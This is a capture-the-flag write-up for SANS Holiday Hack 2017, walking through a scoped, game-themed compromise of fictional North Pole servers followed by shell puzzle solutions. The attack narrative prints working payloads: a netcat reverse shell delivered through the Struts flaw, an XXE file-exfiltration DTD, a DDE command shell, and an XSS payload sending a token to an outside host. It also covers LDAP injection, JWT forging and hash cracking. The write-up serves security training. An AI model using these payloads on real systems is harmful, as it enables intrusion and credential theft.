January 2<sup>nd</sup>, 2018
Digitalencoding
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# **SANS Holiday Hack 2017**

**WINTERED: THE UNTOLD STORY OF THE ELVES OF THE NORTH POLE** 



## **Summary of Results**

Initial reconnaissance of I2s.northpolechristmastown.com(35.185.84.51) resulted in the discovery of a Development Version of the site running Apache Struts on dev.northpolechristmastown.com. An examination of these hosts revealed that the development version of the site was vulnerable to CVE-2017-9805.

```
[*] URL: https://l2s.northpolechristmastown.com/
```

[\*] Status: Not Affected.

[%] Done.

[\*] URL: https://dev.northpolechristmastown.com/

[\*] Status: Site Vulnerable!

[%] Done.

Using a reverse shell from msfvenom and command injection via CVE-2017-9805, I was able to get a shell on the webserver.

```
root@analysis:~# msfvenom -l payloads | grep "cmd/unix/" | awk '{print $1}'
```

----SNIP----

cmd/unix/reverse\_awk cmd/unix/reverse bash

cmd/unix/reverse bash telnet ssl

cmd/unix/reverse lua

cmd/unix/reverse\_ncat\_ssl

cmd/unix/reverse netcat

----SNIP----

## root@analysis:~# msfvenom -p cmd/unix/reverse\_netcat LHOST=REDACTED LPORT=8080

No platform was selected, choosing Msf::Module::Platform::Unix from the payload

No Arch selected, selecting Arch: cmd from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 104 bytes

mkfifo /tmp/skjeyib; nc REDACTED 8080 0</tmp/skjeyib | /bin/sh >/tmp/skjeyib 2>&1;

rm /tmp/skjeyib

```
root@analysis: ~/Desktop/SANS/L2S
                                                                                                            File Edit View Search Terminal Help
                                            is:~/Desktop/SANS/L2S# nc -lvp 8080
                                listening on [any] 8080 .
                                connect to [192.168.0.31] from 56.97.185.35.bc.googleusercontent.com [35.185.97.
                                56] 52942
                                whoami
                            root(alabaster snowball
File Edit View Search Terminal Huid=1003(alabaster_snowball) gid=1004(alabaster_snowball) groups=1004(alabaster_snowball)
          sis:~/Desktop/SANS/L2snowball)
olechristmastown.com' -c 'mkfif
yib | /bin/sh >/tmp/skjeyib 2>δ
   Encoding Command
Building XML object
   Placing command in XML obje
   Converting Back to String
   Making Post Request with you
    Payload executed
          sis:~/Desktop/SANS/L2
```

#### root@analysis:~# nc -lvp 8080

listening on [any] 8080 ...

connect to [192.168.0.31] from 59.78.227.35.bc.googleusercontent.com [35.227.78.59] 59406

#### id

uid=1003(alabaster\_snowball) gid=1004(alabaster\_snowball) groups=1004(alabaster\_snowball)

After an examination of the webserver, GreatBookPage2.pdf was located in the webroot /var/www/html. The page was downloaded and an SHA1 hash was performed on the page.

#### aa814d1c25455480942cb4106e6cde84be86fb30 GreatBookPage2.pdf

After closer inspection of the webserver, Alabaster Snowball's hardcoded password was recovered from an OrderMySql.class file located in

#### /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example

```
final String username = "alabaster_snowball";
final String password = "stream_unhappy_buy_loss";
```

Using the compromised webserver as a pivot point along with the password recovered from it, I was able to target previously inaccessible internal resources. This resulted in the compromise of an SMB Server, EWA Email Server, EaaS Server, SCADA EMI Server, as well as the EDB Server.



### **Attack Narative: System Discovery**

For the purposes of this assessment, I2s.northpolechristmastown.com and all hosts on 10.142.0.0/24 internal network were in scope. An nmap scan was performed to identify other hosts on the network, as well as to identify possible services running on the open ports.

Nmap scan report for hhc17-l2s-proxy.c.holidayhack2017.internal (10.142.0.2) Host is up (0.00024s latency). Not shown: 996 closed ports

PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https 2222/tcp open EtherNetIP-1

Nmap scan report for hhc17-apache-struts1.c.holidayhack2017.internal (10.142.0.3)

Host is up (0.000080s latency). Not shown: 998 closed ports PORT STATE SERVICE

22/tcp open ssh 80/tcp open http Nmap scan report for mail.northpolechristmastown.com (10.142.0.5)

Host is up (0.00016s latency).
Not shown: 994 closed ports
PORT STATE SERVICE

22/tcp open ssh 25/tcp open smtp 80/tcp open http 143/tcp open imap

2525/tcp open ms-v-worlds

3000/tcp open ppp

Nmap scan report for edb.northpolechristmastown.com (10.142.0.6)

Host is up (0.00012s latency). Not shown: 996 closed ports PORT STATE SERVICE

22/tcp open ssh 80/tcp open http 389/tcp open Idap

8080/tcp open http-proxy

Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7)

Host is up (0.00087s latency). Not shown: 996 filtered ports PORT STATE SERVICE

135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server

Nmap scan report for hhc17-emi.c.holidayhack2017.internal (10.142.0.8)

Host is up (0.00077s latency).
Not shown: 995 closed ports
PORT STATE SERVICE

80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server Nmap scan report for hhc17-apache-struts2.c.holidayhack2017.internal (10.142.0.11)

Host is up (0.00014s latency).

Not shown: 998 closed ports PORT STATE SERVICE

22/tcp open ssh 80/tcp open http

Nmap scan report for eaas.northpolechristmastown.com (10.142.0.13)

Host is up (0.00074s latency). Not shown: 998 filtered ports PORT STATE SERVICE

80/tcp open http

3389/tcp open ms-wbt-server

### **SMB Server Compromise:**

Using access to the L2S server, an SSH tunnel was setup to allow access to the internal server.

root@analysis:~# ssh -L 9050:10.142.0.7:445 alabaster\_snowball@35.185.84.51 smbclient -L 10.142.0.7 -p 445 -U alabaster\_snowball WARNING: The "syslog" option is deprecated Enter WORKGROUP\alabaster\_snowball's password:

Sharename Type Comment

ADMIN\$ Disk Remote Admin

C\$ Disk Default share

FileStor Disk

IPC\$ IPC Remote IPC

A file share was identified above, and was connected to via **smbclient** \\\\10.142.0.7\\FileStor

smb: \> Is

. D 0 Sun Dec 24 22:09:11 2017 .. D 0 Sun Dec 24 22:09:11 2017

.. D 0 3dil Dec 24 22.09.11 2017

BOLO - Munchkin Mole Report.docx A 255520 Wed Dec 6 15:44:17 2017

GreatBookPage3.pdf A 1275756 Mon Dec 4 13:21:44 2017

MEMO - Password Policy Reminder.docx A 133295 Wed Dec 6 15:47:28 2017

Naughty and Nice List.csv A 10245 Thu Nov 30 13:42:00 2017
Naughty and Nice List.docx A 60344 Wed Dec 6 15:51:25 2017

All of the documents were downloaded from the SMB share, and an SHA1 hash was performed on the page.

57737da397cbfda84e88b573cd96d45fcf34a5da GreatBookPage3.pdf

## **Elf Web Access Compromise:**

Based on the hints and the cookie\_maker recipe:


//makes the string into cipher text .... in base64. When decoded this 21 bytes in total length. 16 bytes for IV and 5 byte of random characters

So we need to generate 16 random bytes, and base64 encode them to bypass the login (given that we know a users email address)

echo -n '0bf3d4896d2bd20642ecf033b9d09dd8' | xxd -r -p | base64 C/PUiW0r0gZC7PAzudCd2A==

Strip off the padding (C/PUiW0r0gZC7PAzudCd2A) and our cookie becomes:

{"name":"alabaster.snowball@northpolechristmastown.com","plaintext":"","ciphertext":"C /PUiW0r0gZC7PAzudCd2A"}



We now have access to alabaster snowball's email account. There were several useful things in the inbox, including a DDE example that can be used later to compromise another machine, and a download link for another page of the Great Book.

SHA1 Hash was taken of GreatBookPage4 (GreatBookPage4\_893jt91md2.pdf)

f192a884f68af24ae55d9d9ad4adf8d3a3995258 GreatBookPage4.pdf

```
Hey Alabaster,

You know I'm a novice security enthusiast, well I saw an article a while ago about regarding DDE exploits that dont need macros for MS word to get command execution.

https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

Should we be worried about this?

I tried it on my local machine and was able to transfer a file. Here's a poc:

http://mail.northpolechristmastown.com/attachments/dde_exmaple_minty_candycane.png

I know your the resident computer engineer here so I wanted to defer to
```

There were also several references to powershell and netcat being in the users path on the system. All of this information will come in handy when it comes time for Phishing.



### **EaaS Compromise:**


After uploading Elfdata.xml containing the following code

A connection was made on my server for evil.dtd

```
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
<!ENTITY % inception "<!ENTITY &#x25; sendit SYSTEM
'http://REDACTED:80/?%stolendata;'>">
```

After the server ran the code, I had a link in the response from EaaS with greatbook6.pdf






SHA1 hash was performed on GreatBookPage6 (greatbook6.pdf) 8943e0524e1bf0ea8c7968e85b2444323cb237af GreatBookPage6.pdf

### **Elf-Machine Interfaces SCADA Compromise:**

Based on the references in the Email system, Alabaster Snowball is looking for a docx file containing a cookie recipe. I crafted a Microsoft Word Document with the following DDE code.

{DDEAUTO c:\windows\\system32\\cmd.exe "/K nc.exe -d REDACTED 8080 -e cmd.exe}



After downloading GreatBookPage7 a SHA1 hash was taken c1df4dbc96a58b48a9f235a1ca89352f865af8b8 GreatBookPage7.pdf

## **Elf Database Compromise:**

Looking at the source code of the webpage, we can see that there is a web token (JWT) being stored in localStorage.

```
if (!document.cookie) {
    window.location.href = '/';
} else {
    token = localStorage.getItem("np-auth");
    if (token) {
        $.post( "/login", { auth_token: token }).done(function( result ) {
            if (result.bool) {
                  window.location.href = result.link;
            }
            })
        })
    }
}
```

Clicking on the Support link, we are taken to a page with a password reset form with some regex filtering.

```
if (help_email.match(/^[\w\_\-\.]+\@[\w\_\-\.]+\.\w\w\?\\w?\\g'\g') !== null){
    if (help_message.match(/^.+$/g) != null) {
        if (help_message.match(/[sS][cC][rR][il][pP][tT]/g) == null) {
```

There are plenty of ways to make javascript run without script tags. The code I used, grabbed the JWT from localStorage and forwarded it to my machine with a python SimpleHTTPServer running to catch the requests.

```
Message <IMG SRC='#' onerror=this.src='http://REDACTED/?c='+localStorage["np-auth"];>
```

#### root@analysis:/var/www/html# python -m SimpleHTTPServer 80

Serving HTTP on 0.0.0.0 port 80 ...

35.196.239.128 - - [02/Jan/2018 23:14:39] "GET

/?c=eyJhbGciOiJIUzI1NiIsInR5cCl6lkpXVCJ9.eyJkZXB0ljoiRW5naW5lZXJpbmciLCJvd SI6ImVsZiIsImV4cGlyZXMiOilyMDE3LTA4LTE2IDEyOjAwOjQ3Ljl0ODA5MyswMDowM ClsInVpZCl6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4l3CtrWt4SGwfg7mi6V9\_4raZE5 ehVkl9h04kr6l HTTP/1.1" 200 -

This token was ran through a python script which converts it into a format that John can handle for cracking it.

root@analysis:~/Desktop/SANS/EDB# python jwt2john.py eyJhbGciOiJIUzl1NilsInR5cCl6lkpXVCJ9.eyJkZXB0ljoiRW5naW5lZXJpbmciLCJvd Sl6lmVsZilsImV4cGlyZXMiOilyMDE3LTA4LTE2IDEyOjAwOjQ3Ljl0ODA5MyswMDo wMClsInVpZCl6lmFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4l3CtrWt4SGwfg7mi6V9\_ 4raZE5ehVkl9h04kr6l > converted

#### root@analysis:~/Desktop/SANS/EDB# cat converted

eyJhbGciOiJIUzI1NiIsInR5cCl6lkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSl6lmVsZiIsImV4cGlyZXMiOilyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMClslnVpZCl6lmFsYWJhc3Rlci5zbm93YmFsbCJ9#33b6782370adad6b78486c1f83b9a2e95f7fe2b6991397a156423d874e24afa2

Now that we have our converted token, we can run John against it.

## root@analysis:/opt/john/run# ./john ~/Desktop/SANS/EDB/converted --show ?:3lv3s

1 password hash cracked, 0 left


Since we have the 'secret' that was used to sign the JWT, we can now forge our own token and use it to login.

```
root@analysis: ~/Desktop/SANS/EDB
                                                                             ×
File Edit View Search Terminal Help
[2] Strip signature from token vulnerable to CVE-2015-2951
[3] Sign with Public Key bypass vulnerability
Please select an option from above (1-3):
> 1
Please enter the known key:
> 3lv3s
Please enter the keylength:
[1] HMAC-SHA256
[2] HMAC-SHA384
[3] HMAC-SHA512
> 1
OrderedDict([(u'alg', 'HS256'), (u'typ', u'JWT')])
256
did 256
Your new forged token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiYWRtaW5pc3RyYXRvcnMiLCJvdSI6Imh
lbWFuIiwiZXhwaXJlcyI6IjIwMTgtMDEtMDUgMTI6MDA6NDcuMjQ4MDkzKzAw0jAwIiwidWlkIjoic2F
udGEuY2xhdXMifQ.Pb5lFK6F2QqKWGV/dNeseYoajwLgogpSpzNDMCgGfpk
root@analysis:~/Desktop/SANS/EDB#
```

Javascript can be used to set this token in localStorage, after refreshing the page you are logged in as the user.

javascript:localStorage.setItem("np-auth",


"eyJhbGciOiJIUzI1NiIsInR5cCl6IkpXVCJ9.eyJkZXB0IjoiYWRtaW5pc3RyYXRvcnMiLCJvdSl6Imh1bWFuIiwiZXhwaXJlcyI6IjIwMTgtMDEtMDUgMTI6MDA6NDcuMjQ4MDkzKzAwOjAwIiwidWlkIjoic2FudGEuY2xhdXMifQ.Pb5IFK6F2QqKWGV/dNeseYoajwLgogpSpzNDMCgGfpk");




Now that we have access, we can inspect the elements and Edit the code to query for other items in the database, such as userpasswords.



)(uid=\*))(|(userpassword=





Another method of querying the database is by using curl, The output is piped through sed to make it easier to read.

curl -s -x 127.0.0.1:9050 'http://10.142.0.6/search' -A "Mozilla/5.0 (X11; Linux x86\_64)" -H 'np-auth:

eyJhbGciOiJIUzl1NilsInR5cCl6lkpXVCJ9.eyJkZXB0ljoiYWRtaW5pc3RyYXRvcnMiLCJvdSl6lmh1bWFuliwiZXhwaXJlcyl6ljlwMTgtMDEtMDUgMTl6MDA6NDcuMjQ4MDkzKzAwOjAwliwidWlkljoic2FudGEuY2xhdXMifQ.Pb5lFK6F2QqKWGV/dNeseYoajwLgogpSpzNDMCgGfpk'--data

'name=)(uid%3D\*))(%7C(userpassword%3D&isElf=True&attributes=uid%2Cuserpa ssword' | sed -e 's/[]{","}[]//g' -e 's/cn.\*com//' -e '/^\s\*\$/d'

uid: rudolph userpassword: ff943fe99491b32ea387489106517af4 uid: blitzen userpassword: ff943fe99491b32ea387489106517af4 uid: donner userpassword: ff943fe99491b32ea387489106517af4 uid: cupid userpassword: ff943fe99491b32ea387489106517af4 uid: comet userpassword: ff943fe99491b32ea387489106517af4 uid: vixen userpassword: ff943fe99491b32ea387489106517af4 uid: prancer userpassword: ff943fe99491b32ea387489106517af4 uid: dancer userpassword:

ff943fe99491b32ea387489106517af4

uid:

dasher

userpassword:

ff943fe99491b32ea387489106517af4

uid:

tarpin.mcjinglehauser

userpassword:

f259e9a289c4633fc1e3ab11b4368254

uid:

holly.evergreen userpassword:

031ef087617c17157bd8024f13bd9086

uid:

mary.sugarplum userpassword:

b9c124f223cdc64ee2ae6abaeffbcbfe

uid:

sparkle.redberry userpassword:

82161cf4b4c1d94320200dfe46f0db4c

uid:

wunorse.openslae

userpassword:

9fd69465699288ddd36a13b5b383e937

uid:

minty.candycane userpassword:

bcf38b6e70b907d51d9fa4154954f992

uid:

shimmy.upatree userpassword:

d0930efed8e75d7c8ed2e7d8e1d04e81

uid:

pepper.minstix userpassword:

d0930efed8e75d7c8ed2e7d8e1d04e81

uid:

bushy.evergreen userpassword:

3d32700ab024645237e879d272ebc428

uid:

alabaster.snowball userpassword:

17e22cc100b1806cdc3cf3b99a3480b5

uid:

jessica.claus userpassword:

16268da802de6a2efe9c672ca79a7071

uid:

santa.claus userpassword:

D8b4c05a35b0513f302a85c409b4aab3

Now that we have the hashes, we can attempt cracking santa's password to access the santa panel

#### Python Brute Force


[\*]Hash: d8b4c05a35b0513f302a85c409b4aab3

[\*]Hash type: md5


[\*]Wordlist: /usr/share/wordlists/rockyou.txt

[+]Cracking...

[+]Hash is: 001cookielips001 [\*]Words tried: 14271028 [\*]Time: 35.42 seconds



After entering the password in Santa Panel, we are greeted with the Letter.



#### This script will download all 7 pages of the GreatBook at once

#!/usr/bin/python import urlparse import urllib

book pages =

['pages/6dda7650725302f59ea42047206bd4ee5f928d19/GreatBookPage1.pdf','pages/a a814d1c25455480942cb4106e6cde84be86fb30/GreatBookPage2.pdf','pages/57737da3 97cbfda84e88b573cd96d45fcf34a5da/GreatBookPage3.pdf','pages/f192a884f68af24ae 55d9d9ad4adf8d3a3995258/GreatBookPage4.pdf','pages/05c0cacc8cfb96bb5531540e 9b2b839a0604225f/GreatBookPage5.pdf','pages/8943e0524e1bf0ea8c7968e85b24443 23cb237af/GreatBookPage6.pdf','pages/c1df4dbc96a58b48a9f235a1ca89352f865af8b8 /GreatBookPage7.pdf']

for i in xrange(len(book\_pages)):
 url = 'https://www.holidayhackchallenge.com/2017/{}'.format(book\_pages[i])
 urlparts = urlparse.urlsplit(url)
 filename = urlparts.path.split('/')[-1]
 print '\n[\*]Downloading %s' % filename

testfile = urllib.URLopener()
 testfile.retrieve(url, filename)

### **Terminals:**

Winconceivable: The Cliffs of Winsanity

My name is Sparkle Redberry, and I need your help.

My server is atwist, and I fear I may yelp.

Help me kill the troublesome process gone awry.

I will return the favor with a gift before nigh.

Kill the "santaslittlehelperd" process to complete this challenge.

#### elf@c454f133ce8f:~\$ ps aux

USER	PID %CPU %MEM VSZ	RSS TTY	STAT START TIME COMMAND
elf 1	0.1 0.0 18028 2788 pts/0	Ss 06:49	0:00 /bin/bash /sbin/init
elf 8	3 0.0 0.0 4224 628 pts/0	S 06:4	49 0:00 /usr/bin/santaslittlehelperd
elf 1	1 0.4 0.0 13528 6344 pts/0	S 06:4	49 0:00 /sbin/kworker
elf 1	2 0.0 0.0 18248 3200 pts/0	S 06:4	49 0:00 /bin/bash
elf 1	8 1.9 0.0 71468 26632 pts/0	S 06:4	49 0:00 /sbin/kworker
elf 4	0 0.0 0.0 34424 2752 pts/0	R+ 06:49	0:00 ps aux

#### elf@c454f133ce8f:~\$ alias

```
----snip----
```

alias kill='true'

alias killall='true'

----snip----

alias pkill='true'

alias skill='true'

elf@c454f133ce8f:~\$ "kill" -9 8

#### elf@c454f133ce8f:~\$ ps aux

```
USER PID %CPU %MEM VSZ RSS TTY STAT TIME COMMAND elf 1 0.0 0.0 18028 2788 pts/0 Ss 06:49 0:00 /bin/bash /sbin/init elf 12 0.0 0.0 18248 3320 pts/0 S 06:49 0:00 /bin/bash elf 57 0.0 0.0 34424 2876 pts/0 R+ 06:50 0:00 ps aux
```

#### Cryokinetic Magic

My name is Holly Evergreen, and I have a conundrum.

I broke the candy cane striper, and I'm near throwing a tantrum.

Assembly lines have stopped since the elves can't get their candy cane fix. We hope you can start the striper once again, with your vast bag of tricks. Run the CandyCaneStriper executable to complete this challenge.

#### elf@8d05544aa95e:~\$ file CandyCaneStriper

CandyCaneStriper: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/ Linux 2.6.32, BuildID[sha1]=bfe4ffd88f30e6970feb7e3341ddbe579e9ab4b3, stripped

## elf@8d05544aa95e:~\$ /lib/x86\_64-linux-gnu/ld-2.23.so /home/elf/CandyCaneStriper

The candy cane striping machine is up and running!

#### There's Snow Place Like Home

My name is Pepper Minstix, and I need your help with my plight. I've crashed the Christmas toy train, for which I am quite contrite. I should not have interfered, hacking it was foolish in hindsight. If you can get it running again, I will reward you with a gift of delight. total 444

-rwxr-xr-x 1 root root 454636 Dec 7 18:43 trainstartup


#### elf@8c13ca7d5245:~\$ file trainstartup

trainstartup: ELF 32-bit LSB executable, **ARM**, EABI5 version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=005de4685e 8563d10b3de3e0be7d6fdd7ed732eb, not stripped

#### elf@8c13ca7d5245:~\$ uname -a

Linux 8c13ca7d5245 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3 (2017-12-03) x86\_64 x86\_64 x86\_64 GNU/Linux

elf@8c13ca7d5245:~\$ qemu-arm /home/elf/trainstartup



You did it! Thank you!

#### Winter Wonder Landing

My name is Bushy Evergreen, and I have a problem for you. I think a server got owned, and I can only offer a clue. We use the system for chat, to keep toy production running. Can you help us recover from the server connection shunning? Find and run the elftalkd binary to complete this challenge.

#### elf@410b837df852:~\$ find / -name elftalkd


bash: /usr/local/bin/find: cannot execute binary file: Exec format error elf@410b837df852:~\$ /usr/bin/find / -name elftalkd /run/elftalk/bin/elftalkd

elf@410b837df852:/run/elftalk/bin\$ ./run/elftalkd/bin/elftalkd

Running in interactive mode

--== Initializing elftalkd ==--Initializing Messaging System! Nice-O-Meter configured to 0.90 sensitivity. Acquiring messages from local networks...

--== Initialization Complete ==--



-\*> elftalkd! <\*Version 9000.1 (Build 31337)

By Santa Claus & The Elf Team
Copyright (C) 2017 NotActuallyCopyrighted. No actual rights reserved.
Using libc6 version 2.23-0ubuntu9

LANG=en\_US.UTF-8
Timezone=UTC

Commencing Elf Talk Daemon (pid=6021)... done! Background daemon...

#### **Bumbles Bounce**

Minty Candycane here, I need your help straight away. We're having an argument about browser popularity stray. Use the supplied log file from our server in the North Pole. Identifying the least-popular browser is your noteworthy goal.

#### total 28704

- -rw-r--r-- 1 root root 24191488 Dec 4 17:11 access.log -rwxr-xr-x 1 root root 5197336 Dec 11 17:31 runtoanswer
- elf@a5a8fe96673e:~\$ sed -n 's!.\* "GET.\* "\([[:alnum:].]\+/\*[[:digit:].]\*\)[^"]\*"\$!\1!p' access.log | sort | uniq -c | sort -rfg

96554 Mozilla/5.0

422 Slack

353 Mozilla/4.0

34 Googlebot

25 ZmEu

16 slack/2.47.1.7358

13 slack/2.47.0.7352

12 sysscan/1.0

11 facebookexternalhit/1.1

11 Wget

8 ltx71

8 Slack/370354

7 Slack/370342

4 slack/2.46.0.7100

4 Python

3 null

3 Slack/370136

3 MobileSafari/604.1

3 GarlikCrawler/1.2

2 masscan/1.0

2 WhatWeb/0.4.9

2 WhatWeb/0.4.8

2 Twitterbot/1.0

2 Twitter/7.11.1

2 Telesphoreo

2 Slackbot

2 Slack/370007

1 www.probethenet.com

1 curl/7.35.0

1 curl/7.19.7

1 Dillo/3.0.5

#### I Don't Think We're In Kansas Anymore

```
Sugarplum Mary is in a tizzy, we hope you can assist.
Christmas songs abound, with many likes in our midst.
The database is populated, ready for you to address.
Identify the song whose popularity is the best.
-rw-r--r-- 1 root root 15982592 Nov 29 19:28 christmassongs.db
-rwxr-xr-x 1 root root 5197352 Dec 7 15:10 runtoanswer
elf@31d323c786ab:~$ sqlite3 christmassongs.db
SQLite version 3.11.0 2016-02-15 17:29:24
Enter ".help" for usage hints.
sqlite> .schema
CREATE TABLE songs(
 id INTEGER PRIMARY KEY AUTOINCREMENT,
 title TEXT,
 artist TEXT,
 year TEXT,
 notes TEXT
CREATE TABLE likes(
 id INTEGER PRIMARY KEY AUTOINCREMENT,
 like INTEGER.
 datetime INTEGER,
 songid INTEGER,
 FOREIGN KEY(songid) REFERENCES songs(id)
);
sqlite> select songid, count (*) from likes where like = '1' group by songid having
count (*) >=2 order by count (*) desc LIMIT 1;
392|8996
sqlite> select title from songs where id = '392';
Stairway to Heaven
elf@a4e6732b2edb:~$ runtoanswer
Starting up, please wait.....
Enter the name of the song with the most likes: Stairway To Heaven
That is the #1 Christmas song, congratulations!
```

#### Oh Wait! Maybe We Are...

My name is Shinny Upatree, and I've made a big mistake.

I fear it's worse than the time I served everyone bad hake.

I've deleted an important file, which suppressed my server access.

I can offer you a gift, if you can fix my ill-fated redress.

Restore /etc/shadow with the contents of /etc/shadow.bak, then run "inspect\_da\_b ox" to complete this challenge.

Hint: What commands can you run with sudo?

#### elf@66960c64db79:~\$ sudo -l

----snip----

(elf: shadow) NOPASSWD: /usr/bin/find

## elf@d660c92a7308:~\$ sudo -g shadow /usr/bin/find / -name shadow -exec cp /etc/shadow.bak {} \; || inspect\_da\_box

/usr/bin/find: '/var/cache/ldconfig': Permission denied

/usr/bin/find: '/var/cache/apt/archives/partial': Permission denied

/usr/bin/find: '/var/lib/apt/lists/partial': Permission denied

/usr/bin/find: '/proc/tty/driver': Permission denied

/usr/bin/find: '/proc/15/task/15/fd': Permission denied

/usr/bin/find: '/proc/15/task/15/fdinfo': Permission denied

/usr/bin/find: '/proc/15/task/15/ns': Permission denied

/usr/bin/find: '/proc/15/fd': Permission denied

/usr/bin/find: '/proc/15/map\_files': Permission denied

/usr/bin/find: '/proc/15/fdinfo': Permission denied

/usr/bin/find: '/proc/15/ns': Permission denied

/usr/bin/find: '/etc/ssl/private': Permission denied

/usr/bin/find: '/root': Permission denied

/etc/shadow has been successfully restored!

```
We're Off to See the...
```

```
Wunorse Openslae has a special challenge for you.
Run the given binary, make it return 42.
Use the partial source for hints, it is just a clue.
You will need to write your own code, but only a line or two. total 88
-rwxr-xr-x 1 root root 84824 Dec 16 16:59 isit42
```

#### elf@62d974dc57ad:~\$ nano rand.c


```
#include <stdio.h>
int rand(void) {
printf("muahahaha\n");
return 42;
}
```


## elf@62d974dc57ad:~\$ gcc -o rand.so -ldl -shared -fPIC rand.c elf@62d974dc57ad:~\$ LD\_PRELOAD=/home/elf/rand.so ./isit42

Starting up ... done.

Calling rand() to select a random number.

muahahaha





Congratulations! You've won, and have successfully completed this challenge. -rw-r--r-- 1 root root 654 Dec 16 16:57 isit42.c.un

# Just for fun, an alternative way to solve the terminals in a single line:

#### We're Off to See the ...:

echo '#include <stdio.h> int rand(void) {return 42;}' > test.c; gcc -o rand -shared -fPIC test.c; LD\_PRELOAD=`pwd`/rand ./isit42

#### Oh Wait! Maybe We Are...:

sudo -g shadow /usr/bin/find /etc/shadow -exec cp /etc/shadow.bak {} \; ||
inspect\_da\_box

#### **Bumbles Bounce**

useragent=\$(awk -F'"' '/GET/ {print \$6}' access.log | cut -d' ' -f1 | sort | uniq -c | sort -rn | tail -1 | awk '{print \$2}') & 
& ./runtoanswer <<< "\$useragent"

#### Winconceivable: The Cliffs of Winsanity:

"kill" \$(ps aux | grep '[s]antaslittlehelperd' | awk '{print \$2}')

#### **Winter Wonder Landing**

/usr/bin/find / -name elftalkd -exec {} \;

#### There's Snow Place Like Home:

qemu-arm /home/elf/trainstartup

#### **Cryokinetic Magic:**

/lib/x86\_64-linux-gnu/ld-2.23.so /home/elf/CandyCaneStriper

#### I Don't Think We're In Kansas Anymore

song=\$(sqlite3 christmassongs.db "SELECT title FROM songs WHERE id = (SELECT songid FROM likes WHERE like = '1' GROUP BY songid ORDER BY count (like) DESC);") && ./runtoanswer <<< "\$song"